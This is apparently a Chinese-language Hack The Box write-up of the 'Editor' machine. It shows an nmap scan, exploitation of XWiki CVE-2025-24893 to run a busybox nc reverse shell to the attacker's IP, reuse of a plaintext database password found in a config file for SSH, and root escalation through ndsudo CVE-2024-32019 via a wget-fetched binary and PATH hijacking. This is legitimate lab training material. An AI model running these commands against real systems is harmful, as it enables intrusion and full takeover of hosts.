HTB-Editor

发表于 2025-08-18 分类于 Hackthebox 阅读次数：

OS	Difficulty
Linux	Easy

Nmap Scan

$ nmap 10.10.11.80 -sC -sV -p- --min-rate 1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-18 19:58 CST
Warning: 10.10.11.80 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.80
Host is up (0.12s latency).
Not shown: 65405 closed tcp ports (conn-refused), 127 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  WebDAV type: Unknown
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.32 seconds

添加本地域名映射

$ echo '10.10.11.80 editor.htb' | sudo tee -a /etc/hosts

漏洞利用

访问 http://editor.htb:8080/xwiki/bin/view/Main/ 可以看到目标是XWiki 15.10.8 ，通过Google可以检索到CVE-2025-24893，下载poc

$ python3 CVE-2025-24893.py --url "http://editor.htb:8080/xwiki" --command "id"
[*] Sending request to web server
[+] Output:

uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

$ python3 CVE-2025-24893.py --url "http://editor.htb:8080/xwiki" --command "busybox nc 10.10.16.19 7777 -e /bin/bash"
[*] Sending request to web server
[+] Output:

GetShell

$ nc -lvnp 7777                                                                   
Listening on 0.0.0.0 7777
Connection received on 10.10.11.80 58828

id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

信息收集

收集账号

xwiki@editor:/usr/lib/xwiki$ ls /home
oliver

查找配置文件，可以找到一个密码

xwiki@editor:/usr/lib/xwiki/WEB-INF$ cat hibernate.cfg.xml | grep password
cat hibernate.cfg.xml | grep password
    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
   	......
    <property name="hibernate.connection.password"></property>

使用账号oliver和配置文件中的密码登录ssh

$ ssh oliver@editor.htb                  
The authenticity of host 'editor.htb (10.10.11.80)' can't be established.
<...... >
Last login: Mon Aug 18 12:08:23 2025 from 10.10.16.19
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

权限提升

查找特殊权限的文件，找到一个/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo ,通过检索可以找到CVE-2024-32019

oliver@editor:~$ find / -user root -perm /4000 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
/usr/bin/newgrp
<......>
/usr/libexec/polkit-agent-helper-1

编译并上传到目标，执行 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list 成功提权

oliver@editor:/tmp$ wget http://10.10.16.19:8000/nvme
--2025-08-18 12:20:30--  http://10.10.16.19:8000/nvme
Connecting to 10.10.16.19:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16048 (16K) [application/octet-stream]
Saving to: ‘nvme’

nvme                   100%[==========================>]  15.67K  --.-KB/s    in 0.09s   

2025-08-18 12:20:31 (176 KB/s) - ‘nvme’ saved [16048/16048]

oliver@editor:/tmp$ chmod +x /tmp/nvme
oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
root@editor:/tmp# id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)

Flag	Path
flag1	/home/oliver/user.txt
flag2	/root/root.txt